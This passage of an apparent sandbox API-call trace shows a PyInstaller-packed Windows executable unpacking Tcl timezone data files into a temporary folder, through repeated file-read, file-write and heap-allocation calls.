CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.242] GetFileType (hFile=0x10c) returned 0x1 [0043.242] htonl (hostlong=0xb2215d00) returned 0x5d21b2 [0043.242] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d1b2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.243] htonl (hostlong=0x2f010000) returned 0x12f [0043.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12f) returned 0x550600 [0043.243] htonl (hostlong=0x2f010000) returned 0x12f [0043.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.243] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.243] htonl (hostlong=0xa3030000) returned 0x3a3 [0043.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3a3) returned 0x550738 [0043.243] htonl (hostlong=0x2f010000) returned 0x12f [0043.243] htonl (hostlong=0xa3030000) returned 0x3a3 [0043.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.243] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.243] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.243] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.243] CloseHandle (hObject=0x10c) returned 1 [0043.243] GetLastError () returned 0x0 [0043.243] SetLastError (dwErrCode=0x0) [0043.243] GetLastError () returned 0x0 [0043.243] SetLastError (dwErrCode=0x0) [0043.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.243] GetFileType (hFile=0x10c) returned 0x1 [0043.243] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.244] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.244] CloseHandle (hObject=0x10c) returned 1 [0043.244] GetLastError () returned 0x0 [0043.244] SetLastError (dwErrCode=0x0) [0043.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.244] GetFileType (hFile=0x10c) returned 0x1 [0043.244] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.244] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.244] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.244] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.244] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.244] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.244] CloseHandle (hObject=0x10c) returned 1 [0043.244] GetLastError () returned 0x0 [0043.244] SetLastError (dwErrCode=0x0) [0043.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.244] GetFileType (hFile=0x10c) returned 0x1 [0043.244] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.245] CloseHandle (hObject=0x10c) returned 1 [0043.245] GetLastError () returned 0x0 [0043.245] SetLastError (dwErrCode=0x0) [0043.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Rarotonga") returned 74 [0043.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Rarotonga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\rarotonga"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.245] GetLastError () returned 0x2 [0043.245] SetLastError (dwErrCode=0x2) [0043.245] GetLastError () returned 0x2 [0043.245] SetLastError (dwErrCode=0x2) [0043.245] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Rarotonga", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Rarotonga", lpFilePart=0x0) returned 0x49 [0043.245] GetLastError () returned 0x2 [0043.245] SetLastError (dwErrCode=0x2) [0043.245] GetLastError () returned 0x2 [0043.245] SetLastError (dwErrCode=0x2) [0043.245] GetLastError () returned 0x2 [0043.245] SetLastError (dwErrCode=0x2) [0043.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Rarotonga") returned 74 [0043.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Rarotonga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\rarotonga"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.270] GetFileType (hFile=0x10c) returned 0x1 [0043.270] htonl (hostlong=0xa3030000) returned 0x3a3 [0043.270] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.270] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3a3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x3a3, lpOverlapped=0x0) returned 1 [0043.271] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.271] CloseHandle (hObject=0x10c) returned 1 [0043.271] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550738 | out: hHeap=0x530000) returned 1 [0043.271] htonl (hostlong=0x30000000) returned 0x30 [0043.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.271] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.271] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.271] GetFileType (hFile=0x10c) returned 0x1 [0043.271] htonl (hostlong=0xe1225d00) returned 0x5d22e1 [0043.271] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d2e1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.271] htonl (hostlong=0xac000000) returned 0xac [0043.271] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x55cfe0 [0043.271] htonl (hostlong=0xac000000) returned 0xac [0043.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.272] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.272] htonl (hostlong=0xe9000000) returned 0xe9 [0043.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe9) returned 0x550600 [0043.272] htonl (hostlong=0xac000000) returned 0xac [0043.272] htonl (hostlong=0xe9000000) returned 0xe9 [0043.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.272] CloseHandle (hObject=0x10c) returned 1 [0043.272] GetLastError () returned 0x0 [0043.272] SetLastError (dwErrCode=0x0) [0043.272] GetLastError () returned 0x0 [0043.272] SetLastError (dwErrCode=0x0) [0043.272] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.272] GetFileType (hFile=0x10c) returned 0x1 [0043.272] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.272] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.272] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.272] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.272] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.272] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.272] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.272] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.273] CloseHandle (hObject=0x10c) returned 1 [0043.273] GetLastError () returned 0x0 [0043.273] SetLastError (dwErrCode=0x0) [0043.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.273] GetFileType (hFile=0x10c) returned 0x1 [0043.273] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.273] CloseHandle (hObject=0x10c) returned 1 [0043.273] GetLastError () returned 0x0 [0043.273] SetLastError (dwErrCode=0x0) [0043.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.273] GetFileType (hFile=0x10c) returned 0x1 [0043.273] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.273] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.273] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.273] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.274] CloseHandle (hObject=0x10c) returned 1 [0043.274] GetLastError () returned 0x0 [0043.274] SetLastError (dwErrCode=0x0) [0043.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Saipan") returned 71 [0043.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Saipan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\saipan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.274] GetLastError () returned 0x2 [0043.274] SetLastError (dwErrCode=0x2) [0043.274] GetLastError () returned 0x2 [0043.274] SetLastError (dwErrCode=0x2) [0043.274] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Saipan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Saipan", lpFilePart=0x0) returned 0x46 [0043.274] GetLastError () returned 0x2 [0043.274] SetLastError (dwErrCode=0x2) [0043.274] GetLastError () returned 0x2 [0043.274] SetLastError (dwErrCode=0x2) [0043.274] GetLastError () returned 0x2 [0043.274] SetLastError (dwErrCode=0x2) [0043.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Saipan") returned 71 [0043.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Saipan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\saipan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.275] GetFileType (hFile=0x10c) returned 0x1 [0043.275] htonl (hostlong=0xe9000000) returned 0xe9 [0043.275] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.275] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xe9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xe9, lpOverlapped=0x0) returned 1 [0043.275] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.276] CloseHandle (hObject=0x10c) returned 1 [0043.276] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.276] htonl (hostlong=0x30000000) returned 0x30 [0043.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.276] GetFileType (hFile=0x10c) returned 0x1 [0043.276] htonl (hostlong=0x8d235d00) returned 0x5d238d [0043.276] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d38d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.276] htonl (hostlong=0x89000000) returned 0x89 [0043.276] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0043.276] htonl (hostlong=0x89000000) returned 0x89 [0043.276] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.276] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.276] htonl 